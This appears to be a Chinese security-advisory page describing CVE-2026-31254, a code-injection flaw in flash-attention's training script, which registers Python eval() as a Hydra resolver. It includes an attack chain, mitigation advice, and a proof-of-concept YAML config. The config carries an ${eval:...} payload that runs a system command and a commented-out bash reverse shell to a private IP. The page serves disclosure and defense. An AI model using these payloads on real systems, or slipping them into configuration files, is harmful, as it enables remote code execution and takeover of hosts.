IPBUF安全漏洞报告
English
CVE-2026-31254 CVSS 7.3 高危

CVE-2026-31254 flash-attention代码注入漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-31254
漏洞类型
代码注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
flash-attention

相关标签

代码注入远程代码执行flash-attentionHydraCWE-94

漏洞概述

flash-attention项目在特定提交版本之前的训练脚本中存在严重的代码注入漏洞(CWE-94)。该脚本错误地将Python的eval()函数注册为名为'eval'的Hydra配置解析器。攻击者可以通过提供恶意的配置文件,利用${eval:...}语法执行任意Python代码。一旦用户使用该配置运行训练脚本,将导致任意代码执行,对系统机密性、完整性和可用性造成影响。

技术细节

该漏洞的根本原因在于flash-attention的训练脚本对Hydra配置框架的不安全使用。Hydra是一个强大的配置管理框架,允许注册自定义解析器(resolver)来动态处理配置值。在受影响的版本中,开发人员为了灵活性,直接将Python内置的`eval()`函数注册为名为'eval'的解析器。这意味着当Hydra解析配置文件(通常是YAML)时,如果遇到形如`${eval:...}`的占位符,它会自动提取冒号后的表达式字符串,并将其传递给Python的`eval()`函数进行求值。由于`eval()`具有执行任意Python代码的能力,且训练脚本通常在具有读写权限的环境中运行,攻击者只需构造一个包含恶意payload的配置文件(例如`${eval:__import__('os').system('id')}`),诱导用户使用该配置启动训练,即可在服务器端执行任意代码,完全控制受影响的主机。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用存在漏洞的flash-attention版本进行模型训练。
STEP 2
武器化
攻击者构造一个包含恶意Hydra配置语法的YAML文件,利用${eval:...}结构植入Python代码 payload。
STEP 3
投递
攻击者通过供应链攻击、篡改共享配置文件或诱导用户下载恶意配置的方式,将恶意配置文件投递到目标环境。
STEP 4
利用
用户或系统运行训练脚本并加载该恶意配置文件。Hydra解析器识别到'eval'指令,调用Python eval()函数执行恶意代码。
STEP 5
后果
恶意代码在运行训练脚本的宿主机上执行,攻击者获得系统访问权限,可窃取数据或部署勒索软件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious Hydra configuration file (config.yaml) # This configuration triggers code execution when loaded by the vulnerable training script. model: name: "resnet50" # The resolver 'eval' is registered to Python's eval() # This payload executes the 'id' command on the host system layers: ${eval:__import__('os').system('id')} # Example for a reverse shell (Linux) # payload: ${eval:__import__('subprocess').call(['/bin/sh', '-c', 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'])}

影响范围

flash-attention <= commit e724e2588cbe754beb97cf7c011b5e7e34119e62

防御指南

临时缓解措施
在未升级前,应严格审查所有传入的配置文件内容,确保不包含`${eval:...}`模式。若非必须,建议临时修改源代码,移除对`eval`解析器的注册,或将其替换为仅允许特定白名单函数的安全解析逻辑。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表